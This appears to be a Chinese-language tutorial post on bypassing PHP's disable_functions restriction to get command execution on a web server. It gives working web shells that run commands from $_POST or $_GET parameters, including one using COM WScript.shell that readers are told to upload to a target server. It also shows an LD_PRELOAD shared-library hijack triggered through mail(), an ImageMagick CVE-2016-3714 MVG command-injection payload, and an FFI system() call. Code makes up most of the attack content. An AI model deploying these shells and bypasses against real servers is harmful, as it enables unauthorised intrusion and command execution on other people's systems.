DisableFunctions绕过
title: PHP disablefunctions绕过 date: tags: php开发与安全
RCE函数黑名单绕过:
1.exec/shell_exec (执行系统命令,无回显)
<?php
echo (exec/shell_exec('whoami'));
?>
2.system/passthru (执行系统命令,有回显)
<?php
passthru/system('whoami');?>
3.popen (popen ( string $command
, string $mode
) )
作用:创建一个管道,fork一个子进程来执行传入的command命令。并在正常的情况下返回I/O流,管道由pclose手动关闭.
<?php$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{ echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);?>
4.proc_open ( proc_open ( string $cmd
, array $descriptorspec
, array &$pipes
)
可以看作是popen的强化版.
作用:创建一个管道,fork一个子进程来执行传入的command命令,$descriptorspec控制子进程文件描述符符,$pipes是数组,其元素是返回的I/O流(索引0,1,2代表对于文件描述符的I/O流)
$descriptorspec写法
$descs = array(
0 => array( 'pipe' , 'r' ) , #输入
1 => array( 'file' , 'output' , 'w' ) , #输出,可以为管道(pipe)或文件
2 => array( 'file' , 'errors' , 'w' ) #错误日志,可以为管道(pipe)或文件
);
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w")); //标准输出定位到管道
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])) //管道索引1代表子进程的标准输出(通过$descriptorspec定义)
{ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
LD_PRELOAD与putenv 绕过
LD_PRELOAD这个环境变量定义的动态链接库会比其他动态链接库先被调用. putenv(“环境变量名”=”value”) php代码里用于设置环境变量的函数 动态链接库(.so文件): 命令在运行时会进行系统调用,从共享链接库里调用代码.动态链接库是共享链接库的一种,其里面一般都是.so文件
利用php代码里的mail函数达到绕过目的
php里的mail函数调用了 linux里的sendmail指令
execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0
发现其调用了sendmail,那么sendmail调用了什么?可以很清楚的看到它调用了很多命令,那么我们思路如下: 创建一个动态链接库,定义一个同名命令(植入payload),并在之后把它放在LD_PRELOAD里优先调用,这样只需执行调用了mail函数的php文件,再又mail函数调用sendmail命令,再由sendmail命令优先调用我们重写的命令,即可绕过disable_functions.
我们这里重写getuid命令:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky"); //payload
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后将他编译为动态链接库
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
接下来运行PHP脚本
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
执行一下,可以发现payload确实被执行了
mail函数更广的攻击面: attribute ((constructor))
如果我们的linux里没有sendmail指令了呢?这个时候就要用到 attribute ((constructor)) 了
attribute ((constructor)) :加载共享库时就自动运行,通常在程序启动时运行(有点类似魔术函数?哈哈) c语言代码:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
LD_PRELOAD指定一下该so,执行PHP程序,可见payload确实被实现了
脏东西:使用蚁剑 disable_functions绕过插件
蛮无脑的,把这个插件开了就完事了
ImageMagick漏洞(CVE-2016-3714)
参考 https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
何为ImageMagick
简而言之,就是一个处理图片的程序。
RCE
ImageMagick有一个功能叫做 delegate(委托),作用是调用外部的lib处理文件。 在ImageMagick的配置文件 /etc/ImageMagick/delegates.xml 可以看到所有的委托(自己去看)
它的委托一般是长这样的,意思是在处理https图片时,会调用command的里的指令.command里的%m代表一种占位符,%m占位符代表获取https图片的url(当然占位符不仅仅%m一种,还有 比如%i是输入的文件名,%l是图片exif label信息 等等等等)
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。 所以我们可以构造一个mvg文件(文件名后缀不一定非得.mvg,imagemagick是按照文件内容来区分文件类型的)交给imagemagick处理,在其包含https处使用|或&分割命令,造成rce,如
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|mkdir /nmsl; ")'
pop graphic-context
上面是mvg的一种格式,其中在fill处填入https的url.
实践
ffi rce
适用版本:php>7.4
需要: FFI support = enable ,(开启ffi)
opcache.preload
启用. (指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到 PHP 的函数和类表中,并在将来的任何请求的上下文中永久可用)。 (极大拓宽ffi rce攻击面)
ffi是php>7.4新增的一个东西,简而言之就是一个可以在php里调用c语言代码的接口.
https://www.php.net/manual/en/ffi.examples-basic.php 官方文档
我们的payload雏形一般是这样
$ffi=FFI::cdef{
"int system(char *format);"
};
$ffi->system(command);
找个机会让服务器调用FFI就可以了,这样就可以绕过disable_functions了值得注意的是system没有回显
利用Windows系统组件COM绕过
需求: windows系统,且system32目录下存在wshom.ocx php.ini里com.allow_dcom=true php.ini里extension=php_com_dotnet.dll(没有的话自己加上)
正确配置后,在phpinfo中看,这样就算配置好了环境
ban掉函数
.这种情况我们来绕绕disable_functions
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
找个机会把这个脚本传到服务器上,然后访问它,cmd传命令就可以了